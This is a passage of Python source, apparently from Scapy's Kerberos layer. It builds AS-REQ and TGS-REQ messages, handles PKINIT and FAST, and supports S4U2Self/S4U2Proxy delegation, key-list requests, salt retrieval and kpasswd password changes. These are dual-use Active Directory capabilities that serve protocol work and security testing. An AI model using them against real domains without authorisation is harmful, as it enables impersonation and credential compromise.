 PA_ENC_TS_ENC(patimestamp=ASN1_GENERALIZED_TIME(now_time)),\n                )\n\n            # Insert Pre-Authentication data\n            padata.insert(\n                0,\n                pafactor,\n            )\n\n        # FAST support\n        if self.fast:\n            # We are using RFC6113's FAST armoring. The PADATA's are therefore\n            # hidden inside the encrypted section.\n            padata = [\n                self._fast_wrap(\n                    kdc_req=kdc_req,\n                    padata=padata,\n                    now_time=now_time,\n                )\n            ]\n\n        # 3. Build the request\n        asreq = Kerberos(\n            root=KRB_AS_REQ(\n                padata=padata,\n                reqBody=kdc_req,\n            )\n        )\n\n        # Note the reply key\n        self.replykey = self.key\n\n        return asreq\n\n    def tgs_req(self):\n        now_time = datetime.now(timezone.utc).replace(microsecond=0)\n\n        # Compute armor key for FAST\n        if self.fast:\n            self.calc_fast_armorkey()\n\n        # 1. Build and populate KDC-REQ\n        kdc_req = self._base_kdc_req(now_time=now_time)\n        kdc_req.sname = PrincipalName.fromSPN(self.spn)\n\n        # Additional tickets\n        if self.additional_tickets:\n            kdc_req.additionalTickets = self.additional_tickets\n\n        # U2U\n        if self.u2u:\n            kdc_req.kdcOptions.set(28, 1)  # set 'enc-tkt-in-skey' (bit 28)\n\n        # 2. Build the list of PADATA\n        padata = []\n\n        # [MS-SFU] FOR-USER extension\n        if self.for_user is not None:\n            # [MS-SFU] note 4:\n            # \"Windows Vista, Windows Server 2008, Windows 7, and Windows Server\n            # 2008 R2 send the PA-S4U-X509-USER padata type alone if the user's\n            # certificate is available.\n            # If the user's certificate is not available, it sends both the\n            # PA-S4U-X509-USER padata type and the PA-FOR-USER padata type.\n            # When the PA-S4U-X509-USER padata type is used without the user's\n            # certificate, the certificate field is not present.\"\n\n            # 1. Add PA_S4U_X509_USER\n            pasfux509 = PA_S4U_X509_USER(\n                userId=S4UUserID(\n                    nonce=kdc_req.nonce,\n                    # [MS-SFU] note 5:\n                    # \"Windows S4U clients always set this option.\"\n                    options=\"USE_REPLY_KEY_USAGE\",\n                    cname=PrincipalName.fromUPN(self.for_user),\n                    crealm=ASN1_GENERAL_STRING(_parse_upn(self.for_user)[1]),\n                    subjectCertificate=None,  # TODO\n                ),\n                checksum=Checksum(),\n            )\n\n            if self.dmsa:\n                # DMSA = set UNCONDITIONAL_DELEGATION to 1\n                pasfux509.userId.options.set(4, 1)\n\n            if self.key.etype in [EncryptionType.RC4_HMAC, EncryptionType.RC4_HMAC_EXP]:\n                # \"if the key's encryption type is RC4_HMAC_NT (23) the checksum type\n                # is rsa-md4 (2) as defined in section 6.2.6 of [RFC3961].\"\n                pasfux509.checksum.make(\n                    self.key,\n                    bytes(pasfux509.userId),\n                    cksumtype=ChecksumType.RSA_MD4,\n                )\n            else:\n                pasfux509.checksum.make(\n                    self.key,\n                    bytes(pasfux509.userId),\n                )\n            padata.append(\n                PADATA(\n                    padataType=ASN1_INTEGER(130),  # PA-FOR-X509-USER\n                    padataValue=pasfux509,\n                )\n            )\n\n            # 2. Add PA_FOR_USER\n            if True:  # XXX user's certificate is not available.\n                paforuser = PA_FOR_USER(\n                    userName=PrincipalName.fromUPN(self.for_user),\n                    userRealm=ASN1_GENERAL_STRING(_parse_upn(self.for_user)[1]),\n                    cksum=Checksum(),\n                )\n                S4UByteArray = struct.pack(  # [MS-SFU] sect 2.2.1\n                    \"<I\", paforuser.userName.nameType.val\n                ) + (\n                    (\n                        \"\".join(x.val for x in paforuser.userName.nameString)\n                        + paforuser.userRealm.val\n                        + paforuser.authPackage.val\n                    ).encode()\n                )\n                paforuser.cksum.make(\n                    self.key,\n                    S4UByteArray,\n                    cksumtype=ChecksumType.HMAC_MD5,\n                )\n                padata.append(\n                    PADATA(\n                        padataType=ASN1_INTEGER(129),  # PA-FOR-USER\n                        padataValue=paforuser,\n                    )\n                )\n\n        # [MS-SFU] S4U2proxy - sect 3.1.5.2.1\n        if self.s4u2proxy:\n            # \"PA-PAC-OPTIONS with resource-based constrained-delegation bit set\"\n            padata.append(\n                PADATA(\n                    padataType=ASN1_INTEGER(167),  # PA-PAC-OPTIONS\n                    padataValue=PA_PAC_OPTIONS(\n                        options=\"Resource-based-constrained-delegation\",\n                    ),\n                )\n            )\n            # \"kdc-options field: MUST include the new cname-in-addl-tkt options flag\"\n            kdc_req.kdcOptions.set(14, 1)\n\n        # [MS-KILE] 2.2.11 KERB-KEY-LIST-REQ\n        if self.key_list_req:\n            padata.append(\n                PADATA(\n                    padataType=ASN1_INTEGER(161),  # KERB-KEY-LIST-REQ\n                    padataValue=KERB_KEY_LIST_REQ(\n                        keytypes=[ASN1_INTEGER(x) for x in self.key_list_req]\n                    ),\n                )\n            )\n\n        # 3. Build the AP-req inside a PA\n        apreq = KRB_AP_REQ(ticket=self.ticket, authenticator=EncryptedData())\n        pa_tgs_req = PADATA(\n            padataType=ASN1_INTEGER(1),  # PA-TGS-REQ\n            padataValue=apreq,\n        )\n\n        # 4. Populate it's authenticator\n        _, crealm = _parse_upn(self.upn)\n        authenticator = KRB_Authenticator(\n            crealm=ASN1_GENERAL_STRING(crealm),\n            cname=PrincipalName.fromUPN(self.upn),\n            cksum=None,\n            ctime=ASN1_GENERALIZED_TIME(now_time),\n            cusec=ASN1_INTEGER(0),\n            subkey=EncryptionKey.fromKey(self.subkey) if self.subkey else None,\n            seqNumber=None,\n            encAuthorizationData=None,\n        )\n\n        # Compute checksum\n        if self.key.cksumtype:\n            authenticator.cksum = Checksum()\n            authenticator.cksum.make(\n                self.key,\n                bytes(kdc_req),\n            )\n\n        # Encrypt authenticator\n        apreq.authenticator.encrypt(self.key, authenticator)\n\n        # 5. Process FAST if required\n        if self.fast:\n            padata = [\n                self._fast_wrap(\n                    kdc_req=kdc_req,\n                    padata=padata,\n                    now_time=now_time,\n                    pa_tgsreq_ap=apreq,\n                )\n            ]\n\n        # 6. Add the final PADATA\n        padata.append(pa_tgs_req)\n\n        # 7. Build the request\n        tgsreq = Kerberos(\n            root=KRB_TGS_REQ(\n                padata=padata,\n                reqBody=kdc_req,\n            )\n        )\n\n        # Note the reply key\n        if self.subkey:\n            self.replykey = self.subkey\n        else:\n            self.replykey = self.key\n\n        return tgsreq\n\n    @ATMT.state(initial=1)\n    def BEGIN(self):\n        pass\n\n    @ATMT.condition(BEGIN)\n    def should_send_as_req(self):\n        if self.mode in [self.MODE.AS_REQ, self.MODE.GET_SALT]:\n            raise self.SENT_AS_REQ()\n\n    @ATMT.condition(BEGIN)\n    def should_send_tgs_req(self):\n        if self.mode == self.MODE.TGS_REQ:\n            raise self.SENT_TGS_REQ()\n\n    @ATMT.action(should_send_as_req)\n    def send_as_req(self):\n        self.send(self.as_req())\n\n    @ATMT.action(should_send_tgs_req)\n    def send_tgs_req(self):\n        self.send(self.tgs_req())\n\n    @ATMT.state()\n    def SENT_AS_REQ(self):\n        pass\n\n    @ATMT.state()\n    def SENT_TGS_REQ(self):\n        pass\n\n    def _process_padatas_and_key(self, padatas, etype: \"EncryptionType\" = None):\n        \"\"\"\n        Process the PADATA, and generate missing keys if required.\n\n        :param etype: (optional) If provided, the EncryptionType to use.\n        \"\"\"\n        salt = b\"\"\n\n        if etype is not None and etype not in self.etypes:\n            raise ValueError(\"The answered 'etype' key isn't supported by us !\")\n\n        # 1. Process pa-data\n        if padatas is not None:\n            for padata in padatas:\n                if padata.padataType == 0x13 and etype is None:  # PA-ETYPE-INFO2\n                    # We obtain the salt for hash types that need it\n                    elt = padata.padataValue.seq[0]\n                    if elt.etype.val in self.etypes:\n                        etype = elt.etype.val\n                        if etype != EncryptionType.RC4_HMAC:\n                            salt = elt.salt.val\n\n                elif padata.padataType == 0x11:  # PA-PK-AS-REP\n                    # PKINIT handling\n\n                    # The steps are as follows:\n                    # 1. Verify and extract the CMS response. The expected type\n                    #    is different depending on the used method.\n                    # 2. Compute the replykey\n\n                    if self.pkinit_kex_method == PKINIT_KEX_METHOD.DIFFIE_HELLMAN:\n                        # Unpack KDCDHKeyInfo\n                        keyinfo = self.pkinit_cms.verify(\n                            padata.padataValue.rep.dhSignedData,\n                            eContentType=ASN1_OID(\"id-pkinit-DHKeyData\"),\n                        )\n\n                        # If 'etype' is None, we're in an error. Since we verified\n                        # the CMS successfully, end here.\n                        if etype is None:\n                            continue\n\n                        # Extract crypto parameters\n                        y = keyinfo.subjectPublicKey.y.val\n\n                        # Import into cryptography\n                        params = self.pkinit_dh_key.parameters().parameter_numbers()\n                        pubkey = dh.DHPublicNumbers(y, params).public_key()\n\n                        # Calculate DHSharedSecret\n                        DHSharedSecret = self.pkinit_dh_key.exchange(pubkey)\n\n                        # RFC4556 3.2.3.1 - AS reply key is derived as follows\n                        self.replykey = octetstring2key(\n                            etype,\n                            DHSharedSecret,\n                        )\n\n                    else:\n                        raise ValueError\n\n                elif padata.padataType == 133:  # PA-FX-COOKIE\n                    # Get cookie and store it\n                    self.fxcookie = padata.padataValue\n\n                elif padata.padataType == 136:  # PA-FX-FAST\n                    # FAST handling: get the actual inner message and decrypt it\n                    if isinstance(padata.padataValue, PA_FX_FAST_REPLY):\n                        self.fast_rep = (\n                            padata.padataValue.armoredData.encFastRep.decrypt(\n                                self.fast_armorkey,\n                            )\n                        )\n\n                elif padata.padataType == 137:  # PA-FX-ERROR\n                    # Get error and store it\n                    self.fast_error = padata.padataValue\n\n                elif padata.padataType == 130:  # PA-FOR-X509-USER\n                    # Verify S4U checksum\n                    key_usage_number = None\n                    pasfux509 = padata.padataValue\n                    # [MS-SFU] sect 2.2.2\n                    # \"In a reply, indicates that it was signed with key usage 27\"\n                    if pasfux509.userId.options.val[2] == \"1\":  # USE_REPLY_KEY_USAGE\n                        key_usage_number = 27\n                    pasfux509.checksum.verify(\n                        self.key,\n                        bytes(pasfux509.userId),\n                        key_usage_number=key_usage_number,\n                    )\n\n        # 2. Update the current keys if necessary\n\n        # Compute client key if not already provided\n        if self.key is None and etype is not None and self.x509 is None:\n            self.key = Key.string_to_key(\n                etype,\n                self.password,\n                salt,\n            )\n\n        # Strengthen the reply key with the fast reply, if necessary\n        if self.fast_rep and self.fast_rep.strengthenKey:\n            # \"The strengthen-key field MAY be set in an AS reply\"\n            self.replykey = KRB_FX_CF2(\n                self.fast_rep.strengthenKey.toKey(),\n                self.replykey,\n                b\"strengthenkey\",\n                b\"replykey\",\n            )\n\n    @ATMT.receive_condition(SENT_AS_REQ, prio=0)\n    def receive_salt_mode(self, pkt):\n        # This is only for \"Salt-Mode\", a mode where we get the salt then\n        # exit.\n        if self.mode == self.MODE.GET_SALT:\n            if Kerberos not in pkt:\n                raise self.FINAL()\n            if not isinstance(pkt.root, KRB_ERROR):\n                log_runtime.error(\"Pre-auth is likely disabled !\")\n                raise self.FINAL()\n            if pkt.root.errorCode == 25:  # KDC_ERR_PREAUTH_REQUIRED\n                for padata in pkt.root.eData.seq:\n                    if padata.padataType == 0x13:  # PA-ETYPE-INFO2\n                        elt = padata.padataValue.seq[0]\n                        if elt.etype.val in self.etypes:\n                            self.result = elt.salt.val\n                            raise self.FINAL()\n            else:\n                log_runtime.error(\"Failed to retrieve the salt !\")\n                raise self.FINAL()\n\n    @ATMT.receive_condition(SENT_AS_REQ, prio=1)\n    def receive_krb_error_as_req(self, pkt):\n        # We check for Kerberos errors.\n        # There is a special case for PREAUTH_REQUIRED error, which means that preauth\n        # is required and we need to do a second exchange.\n        if Kerberos in pkt and isinstance(pkt.root, KRB_ERROR):\n            # Process PAs if available\n            if pkt.root.eData and isinstance(pkt.root.eData, MethodData):\n                self._process_padatas_and_key(pkt.root.eData.seq)\n\n            # Special case for FAST errors\n            if self.fast_rep:\n                # This is actually a fast response error !\n                frep, self.fast_rep = self.fast_rep, None\n                # Re-process PAs\n                self._process_padatas_and_key(frep.padata)\n                # Extract real Kerberos error from FAST message\n                ferr = Kerberos(root=self.fast_error)\n                self.fast_error = None\n                # Recurse\n                self.receive_krb_error_as_req(ferr)\n                return\n\n            if pkt.root.errorCode == 25:  # KDC_ERR_PREAUTH_REQUIRED\n                if not self.key and not self.x509:\n                    log_runtime.error(\n                        \"Got 'KDC_ERR_PREAUTH_REQUIRED', \"\n                        \"but no possible key could be computed.\"\n                    )\n                    raise self.FINAL()\n                self.should_followup = True\n                self.pre_auth = True\n                raise self.BEGIN()\n            else:\n                self._show_krb_error(pkt)\n                raise self.FINAL()\n\n    @ATMT.receive_condition(SENT_AS_REQ, prio=2)\n    def receive_as_rep(self, pkt):\n        if Kerberos in pkt and isinstance(pkt.root, KRB_AS_REP):\n            raise self.FINAL().action_parameters(pkt)\n\n    @ATMT.eof(SENT_AS_REQ)\n    def retry_after_eof_in_apreq(self):\n        if self.should_followup:\n            # Reconnect and Restart\n            self.should_followup = False\n            self.update_sock(self._connect())\n            raise self.BEGIN()\n        else:\n            log_runtime.error(\"Socket was closed in an unexpected state\")\n            raise self.FINAL()\n\n    @ATMT.action(receive_as_rep)\n    def decrypt_as_rep(self, pkt):\n        # Process PADATAs. This is important for FAST and PKINIT\n        self._process_padatas_and_key(\n            pkt.root.padata,\n            etype=pkt.root.encPart.etype.val,\n        )\n\n        if not self.pre_auth:\n            log_runtime.warning(\"Pre-authentication was disabled for this account !\")\n\n        # Process FAST response\n        if self.fast_rep:\n            # Verify the ticket-checksum\n            self.fast_rep.finished.ticketChecksum.verify(\n                self.fast_armorkey,\n                bytes(pkt.root.ticket),\n            )\n            self.fast_rep = None\n        elif self.fast:\n            raise ValueError(\"Answer was not FAST ! Is it supported?\")\n\n        # Check for PKINIT\n        if self.x509 and self.replykey is None:\n            raise ValueError(\"PKINIT was used but no valid PA-PK-AS-REP was found !\")\n\n        # Decrypt AS-REP response\n        enc = pkt.root.encPart\n        res = enc.decrypt(self.replykey)\n        self.result = self.RES_AS_MODE(\n            pkt.root,\n            res.key.toKey(),\n            res,\n            pkt.root.getUPN(),\n            self.pa_type,\n        )\n\n    @ATMT.receive_condition(SENT_TGS_REQ)\n    def receive_krb_error_tgs_req(self, pkt):\n        if Kerberos in pkt and isinstance(pkt.root, KRB_ERROR):\n            # Process PAs if available\n            if pkt.root.eData and isinstance(pkt.root.eData, MethodData):\n                self._process_padatas_and_key(pkt.root.eData.seq)\n\n            if self.fast_rep:\n                # This is actually a fast response error !\n                frep, self.fast_rep = self.fast_rep, None\n                # Re-process PAs\n                self._process_padatas_and_key(frep.padata)\n                # Extract real Kerberos error from FAST message\n                ferr = Kerberos(root=self.fast_error)\n                self.fast_error = None\n                # Recurse\n                self.receive_krb_error_tgs_req(ferr)\n                return\n\n            self._show_krb_error(pkt)\n            raise self.FINAL()\n\n    @ATMT.receive_condition(SENT_TGS_REQ)\n    def receive_tgs_rep(self, pkt):\n        if Kerberos in pkt and isinstance(pkt.root, KRB_TGS_REP):\n            if (\n                not self.renew\n                and not self.dmsa\n                and pkt.root.ticket.sname.nameString[0].val == b\"krbtgt\"\n            ):\n                log_runtime.warning(\"Received a cross-realm referral ticket !\")\n            raise self.FINAL().action_parameters(pkt)\n\n    @ATMT.action(receive_tgs_rep)\n    def decrypt_tgs_rep(self, pkt):\n        self._process_padatas_and_key(pkt.root.padata)\n\n        # Process FAST response\n        if self.fast_rep:\n            # Verify the ticket-checksum\n            self.fast_rep.finished.ticketChecksum.verify(\n                self.fast_armorkey,\n                bytes(pkt.root.ticket),\n            )\n            self.fast_rep = None\n        elif self.fast:\n            raise ValueError(\"Answer was not FAST ! Is it supported?\")\n\n        # Decrypt TGS-REP response\n        enc = pkt.root.encPart\n        if self.subkey:\n            # \"In a TGS-REP message, the key\n            # usage value is 8 if the TGS session key is used, or 9 if a TGS\n            # authenticator subkey is used.\"\n            res = enc.decrypt(self.replykey, key_usage_number=9, cls=EncTGSRepPart)\n        else:\n            res = enc.decrypt(self.replykey)\n\n        # Store result\n        self.result = self.RES_TGS_MODE(\n            pkt.root,\n            res.key.toKey(),\n            res,\n            self.upn,\n        )\n\n    @ATMT.state(final=1)\n    def FINAL(self):\n        pass\n\n\ndef _parse_upn(upn):\n    \"\"\"\n    Extract the username and realm from full UPN\n    \"\"\"\n    m = re.match(r\"^([^@\\\\/]+)(@|\\\\)([^@\\\\/]+)$\", upn)\n    if not m:\n        err = \"Invalid UPN: '%s'\" % upn\n        if \"/\" in upn:\n            err += \". Did you mean '%s' ?\" % upn.replace(\"/\", \"\\\\\")\n        elif \"@\" not in upn and \"\\\\\" not in upn:\n            err += \". Provide domain as so: '%s@domain.local'\" % upn\n        raise ValueError(err)\n    if m.group(2) == \"@\":\n        user = m.group(1)\n        domain = m.group(3)\n    else:\n        user = m.group(3)\n        domain = m.group(1)\n    return user, domain\n\n\ndef _parse_spn(spn):\n    \"\"\"\n    Extract ServiceName and realm from full SPN\n    \"\"\"\n    # See [MS-ADTS] sect 2.2.21 for SPN format. We discard the servicename.\n    m = re.match(r\"^((?:[^@\\\\/]+)/(?:[^@\\\\/]+))(?:/[^@\\\\/]+)?(?:@([^@\\\\/]+))?$\", spn)\n    if not m:\n        try:\n            # If SPN is a UPN, we are doing U2U :D\n            return _parse_upn(spn)\n        except ValueError:\n            raise ValueError(\"Invalid SPN: '%s'\" % spn)\n    return m.group(1), m.group(2)\n\n\ndef _spn_are_equal(spn1, spn2):\n    \"\"\"\n    Check that two SPNs are equal.\n    \"\"\"\n    spn1, _ = _parse_spn(spn1)\n    spn2, _ = _parse_spn(spn2)\n    return spn1.lower() == spn2.lower()\n\n\ndef krb_as_req(\n    upn: str,\n    spn: Optional[str] = None,\n    ip: Optional[str] = None,\n    key: Optional[\"Key\"] = None,\n    password: Optional[str] = None,\n    realm: Optional[str] = None,\n    host: str = \"WIN10\",\n    p12: Optional[str] = None,\n    x509: Optional[Union[str, Cert]] = None,\n    x509key: Optional[Union[str, PrivKey]] = None,\n    **kwargs,\n):\n    r\"\"\"\n    Kerberos AS-Req\n\n    :param upn: the user principal name formatted as \"DOMAIN\\user\", \"DOMAIN/user\"\n                or \"user@DOMAIN\"\n    :param spn: (optional) the full service principal name.\n                Defaults to \"krbtgt/<realm>\"\n    :param ip: the KDC ip. (optional. If not provided, Scapy will query the DNS for\n               _kerberos._tcp.dc._msdcs.domain.local).\n    :param key: (optional) pass the Key object.\n    :param password: (optional) otherwise, pass the user's password\n    :param x509: (optional) pass a x509 certificate for PKINIT.\n    :param x509key: (optional) pass the private key of the x509 certificate for PKINIT.\n    :param p12: (optional) use a pfx/p12 instead of x509 and x509key. In this case,\n        'password' is the password of the p12.\n    :param realm: (optional) the realm to use. Otherwise use the one from UPN.\n    :param host: (optional) the host performing the AS-Req. WIN10 by default.\n\n    :return: returns a named tuple (asrep=<...>, sessionkey=<...>)\n\n    Example::\n\n        >>> # The KDC is found via DC Locator, we ask a TGT for user1\n        >>> krb_as_req(\"user1@DOMAIN.LOCAL\", password=\"Password1\")\n\n    Equivalent::\n\n        >>> from scapy.libs.rfc3961 import Key, EncryptionType\n        >>> key = Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=hex_bytes(\"6d0748c546\n        ...: f4e99205e78f8da7681d4ec5520ae4815543720c2a647c1ae814c9\"))\n        >>> krb_as_req(\"user1@DOMAIN.LOCAL\", ip=\"192.168.122.17\", key=key)\n\n    Example using PKINIT with a p12::\n\n        >>> krb_as_req(\"user1@DOMAIN.LOCAL\", p12=\"./store.p12\", password=\"password\")\n    \"\"\"\n    if realm is None:\n        _, realm = _parse_upn(upn)\n    if key is None and p12 is None and x509 is None:\n        if password is None:\n            try:\n                from prompt_toolkit import prompt\n\n                password = prompt(\"Enter password: \", is_password=True)\n            except ImportError:\n                password = input(\"Enter password: \")\n    cli = KerberosClient(\n        mode=KerberosClient.MODE.AS_REQ,\n        realm=realm,\n        ip=ip,\n        spn=spn or \"krbtgt/\" + realm,\n        host=host,\n        upn=upn,\n        password=password,\n        key=key,\n        p12=p12,\n        x509=x509,\n        x509key=x509key,\n        **kwargs,\n    )\n    cli.run()\n    cli.stop()\n    return cli.result\n\n\ndef krb_tgs_req(\n    upn,\n    spn,\n    sessionkey,\n    ticket,\n    ip=None,\n    renew=False,\n    realm=None,\n    additional_tickets=[],\n    u2u=False,\n    etypes=None,\n    for_user=None,\n    s4u2proxy=False,\n    **kwargs,\n):\n    r\"\"\"\n    Kerberos TGS-Req\n\n    :param upn: the user principal name formatted as \"DOMAIN\\user\", \"DOMAIN/user\"\n                or \"user@DOMAIN\"\n    :param spn: the full service principal name (e.g. \"cifs/srv1\")\n    :param sessionkey: the session key retrieved from the tgt\n    :param ticket: the tgt ticket\n    :param ip: the KDC ip. (optional. If not provided, Scapy will query the DNS for\n               _kerberos._tcp.dc._msdcs.domain.local).\n    :param renew: ask for renewal\n    :param realm: (optional) the realm to use. Otherwise use the one from SPN.\n    :param additional_tickets: (optional) a list of additional tickets to pass.\n    :param u2u: (optional) if specified, enable U2U and request the ticket to be\n                signed using the session key from the first additional ticket.\n    :param etypes: array of EncryptionType values.\n                   By default: AES128, AES256, RC4, DES_MD5\n    :param for_user: a user principal name to request the ticket for. This is the\n                     S4U2Self extension.\n\n    :return: returns a named tuple (tgsrep=<...>, sessionkey=<...>)\n\n    Example::\n\n        >>> # The KDC is on 192.168.122.17, we ask a TGT for user1\n        >>> krb_as_req(\"user1@DOMAIN.LOCAL\", \"192.168.122.17\", password=\"Password1\")\n\n    Equivalent::\n\n        >>> from scapy.libs.rfc3961 import Key, EncryptionType\n        >>> key = Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=hex_bytes(\"6d0748c546\n        ...: f4e99205e78f8da7681d4ec5520ae4815543720c2a647c1ae814c9\"))\n        >>> krb_as_req(\"user1@DOMAIN.LOCAL\", \"192.168.122.17\", key=key)\n    \"\"\"\n    cli = KerberosClient(\n        mode=KerberosClient.MODE.TGS_REQ,\n        realm=realm,\n        upn=upn,\n        ip=ip,\n        spn=spn,\n        key=sessionkey,\n        ticket=ticket,\n        renew=renew,\n        additional_tickets=additional_tickets,\n        u2u=u2u,\n        etypes=etypes,\n        for_user=for_user,\n        s4u2proxy=s4u2proxy,\n        **kwargs,\n    )\n    cli.run()\n    cli.stop()\n    return cli.result\n\n\ndef krb_as_and_tgs(upn, spn, ip=None, key=None, password=None, **kwargs):\n    \"\"\"\n    Kerberos AS-Req then TGS-Req\n    \"\"\"\n    res = krb_as_req(upn=upn, ip=ip, key=key, password=password, **kwargs)\n    if not res:\n        return\n\n    return krb_tgs_req(\n        upn=res.upn,  # UPN might get canonicalized\n        spn=spn,\n        sessionkey=res.sessionkey,\n        ticket=res.asrep.ticket,\n        ip=ip,\n        **kwargs,\n    )\n\n\ndef krb_get_salt(upn, ip=None, realm=None, host=\"WIN10\", **kwargs):\n    \"\"\"\n    Kerberos AS-Req only to get the salt associated with the UPN.\n    \"\"\"\n    if realm is None:\n        _, realm = _parse_upn(upn)\n    cli = KerberosClient(\n        mode=KerberosClient.MODE.GET_SALT,\n        realm=realm,\n        ip=ip,\n        spn=\"krbtgt/\" + realm,\n        upn=upn,\n        host=host,\n        **kwargs,\n    )\n    cli.run()\n    cli.stop()\n    return cli.result\n\n\ndef kpasswd(\n    upn,\n    targetupn=None,\n    ip=None,\n    password=None,\n    newpassword=None,\n    key=None,\n    ticket=None,\n    realm=None,\n    ssp=None,\n    setpassword=None,\n    timeout=3,\n    port=464,\n    debug=0,\n    **kwargs,\n):\n    \"\"\"\n    Change a password using RFC3244's Kerberos Set / Change Password.\n\n    :param upn: the UPN to use for authentication\n    :param targetupn: (optional) the UPN to change the password of. If not specified,\n                      same as upn.\n    :param ip: the KDC ip. (optional. If not provided, Scapy will query the DNS for\n               _kerberos._tcp.dc._msdcs.domain.local).\n    :param key: (optional) pass the Key object.\n    :param ticket: (optional) a ticket to use. Either a TGT or ST for kadmin/changepw.\n    :param password: (optional) otherwise, pass the user's password\n    :param realm: (optional) the realm to use. Otherwise use the one from UPN.\n    :param setpassword: (optional) use \"Set Password\" mechanism.\n    :param ssp: (optional) a Kerberos SSP for the service kadmin/changepw@REALM.\n                If provided, you probably don't need anything else. Otherwise built.\n    \"\"\"\n    from scapy.layers.ldap import dclocator\n\n    if not realm:\n        _, realm = _parse_upn(upn)\n    spn = \"kadmin/changepw@%s\" % realm\n    if ip is None:\n        ip = dclocator(\n            realm,\n            timeout=timeout,\n            # Use connect mode instead of ldap for compatibility\n            # with MIT kerberos servers\n            mode=\"connect\",\n            port=port,\n            debug=debug,\n        ).ip\n    if ssp is None and ticket is not None:\n        tktspn = ticket.getSPN().split(\"/\")[0]\n        assert tktspn in [\"krbtgt\", \"kadmin\"], \"Unexpected ticket type ! %s\" % tktspn\n        if tktspn == \"krbtgt\":\n            log_runtime.info(\n                \"Using 'Set Password' mode. This only works with admin privileges.\"\n            )\n            setpassword = True\n            resp = krb_tgs_req(\n                upn=upn,\n                spn=spn,\n                ticket=ticket,\n                sessionkey=key,\n                ip=ip,\n                debug=debug,\n            )\n            if resp is None:\n                return\n            ticket = resp.tgsrep.ticket\n            key = resp.sessionkey\n    if setpassword is None:\n        setpassword = bool(targetupn)\n    elif setpassword and targetupn is None:\n        targetupn = upn\n    assert setpassword or not targetupn, \"Cannot use targetupn in changepassword mode !\"\n    # Get a ticket for kadmin/changepw\n    if ssp is None:\n        if ticket is None:\n            # Get a ticket for kadmin/changepw through AS-REQ\n            resp = krb_as_req(\n                upn=upn,\n                spn=spn,\n                key=key,\n                ip=ip,\n                password=password,\n                debug=debug,\n            )\n            if resp is None:\n                return\n            ticket = resp.asrep.ticket\n            key = resp.sessionkey\n        ssp = KerberosSSP(\n            UPN=upn,\n            SPN=spn,\n            ST=ticket,\n            KEY=key,\n            DC_IP=ip,\n            debug=debug,\n            **kwargs,\n        )\n    Context, tok, status = ssp.GSS_Init_sec_context(\n        None,\n        req_flags=0,  # No GSS_C_MUTUAL_FLAG\n    )\n    if status != GSS_S_CONTINUE_NEEDED:\n        warning(\"SSP failed on initial GSS_Init_sec_context !\")\n        if tok:\n            tok.show()\n        return\n    apreq = tok.innerToken.root\n    # Connect\n    sock = socket.socket()\n    sock.settimeout(timeout)\n    sock.connect((ip, port))\n    sock = StreamSocket(sock, KpasswdTCPHeader)\n    # Do KPASSWD request\n    if newpassword is None:\n        try:\n            from prompt_toolkit import prompt\n\n            newpassword = prompt(\"Enter NEW password: \", is_password=True)\n        except ImportError:\n            newpassword = input(\"Enter NEW password: \")\n    krbpriv = KRB_PRIV(encPart=EncryptedData())\n    krbpriv.encPart.encrypt(\n        Context.KrbSessionKey,\n        EncKrbPrivPart(\n            sAddress=HostAddress(\n                addrType=ASN1_INTEGER(2),  # IPv4\n                address=ASN1_STRING(b\"\\xc0\\xa8\\x00e\"),\n            ),\n            userData=ASN1_STRING(\n                bytes(\n                    ChangePasswdData(\n                        newpasswd=newpassword,\n                        targname=PrincipalName.fromUPN(targetupn),\n                        targrealm=realm,\n                    )\n                )\n                if setpassword\n                else newpassword\n            ),\n            timestamp=None,\n            usec=None,\n            seqNumber=Context.SendSeqNum,\n        ),\n    )\n    resp = sock.sr1(\n        KpasswdTCPHeader()\n        / KPASSWD_REQ(\n            pvno=0xFF80 if setpassword else 1,\n            apreq=apreq,\n            krbpriv=krbpriv,\n        ),\n        timeout=timeout,\n        verbose=0,\n    )\n    # Verify KPASSWD response\n    if not resp:\n        raise TimeoutError(\"KPASSWD_REQ timed out !\")\n    if KPASSWD_REP not in resp:\n        resp.show()\n        raise ValueError(\"Invalid response to KPASSWD_REQ !\")\n    Context, tok, status = ssp.GSS_Init_sec_context(\n        Context,\n        input_token=resp.aprep,\n    )\n    if status != GSS_S_COMPLETE:\n        warning(\"SSP failed on subsequent GSS_Init_sec_context !\")\n        if tok:\n            tok.show()\n        return\n    # Parse answer KRB_PRIV\n    krbanswer = resp.krbpriv.encPart.decrypt(Context.KrbSessionKey)\n    userRep = KPasswdRepData(krbanswer.userData.val)\n    if userRep.resultCode != 0:\n        warning(userRep.sprintf(\"KPASSWD failed !\"))\n        userRep.show()\n        return\n    print(userRep.sprintf(\"%resultCode%\"))\n\n\n# SSP\n\n\nclass KerberosSSP(SSP):\n    \"\"\"\n    The KerberosSSP\n\n    Client settings:\n\n    :param ST: the service ticket to use for access.\n               If not provided, will be retrieved\n    :param SPN: the SPN of the service to use. If not provided, will use the\n                target_name provided in the GSS_Init_sec_context\n    :param UPN: The client UPN\n    :param DC_IP: (optional) is ST+KEY are not provided, will need to contact\n                  the KDC at this IP. If not provided, will perform dc locator.\n    :param TGT: (optional) pass a TGT to use to get the ST.\n    :param KEY: the session key associated with the ST if it is provided,\n                OR the session key associated with the TGT\n                OR the kerberos key associated with the UPN\n    :param PASSWORD: (optional) if a UPN is provided and not a KEY, this is the\n                     password of the UPN.\n    :param U2U: (optional) use U2U when requesting the ST.\n\n    Server settings:\n\n    :param SPN: the SPN of the service to use.\n    :param KEY: the kerberos key to use to decrypt the AP-req\n    :param UPN: (optional) the UPN, if used in U2U mode.\n    :param TGT: (optional) pass a TGT to use for U2U.\n    :param DC_IP: (optional) if TGT is not provided, request one on the KDC at\n                  this IP using using the KEY when using U2U.\n    \"\"\"\n\n    auth_type = 0x10\n\n    class STATE(SSP.STATE):\n        INIT = 1\n        CLI_SENT_TGTREQ = 2\n        CLI_SENT_APREQ = 3\n        CLI_RCVD_APREP = 4\n        SRV_SENT_APREP = 5\n        FAILED = -1\n\n    class CONTEXT(SSP.CONTEXT):\n        __slots__ = [\n            \"SessionKey\",\n            \"ServerHostname\",\n            \"U2U\",\n            \"KrbSessionKey\",  # raw Key object\n            \"ST\",  # the service ticket\n            \"STSessionKey\",  # raw ST Key object (for DCE_STYLE)\n            \"SeqNum\",  # for AP\n            \"SendSeqNum\",  # for MIC\n            \"RecvSeqNum\",  # for MIC\n            \"IsAcceptor\",\n            \"SendSealKeyUsage\",\n            \"SendSignKeyUsage\",\n            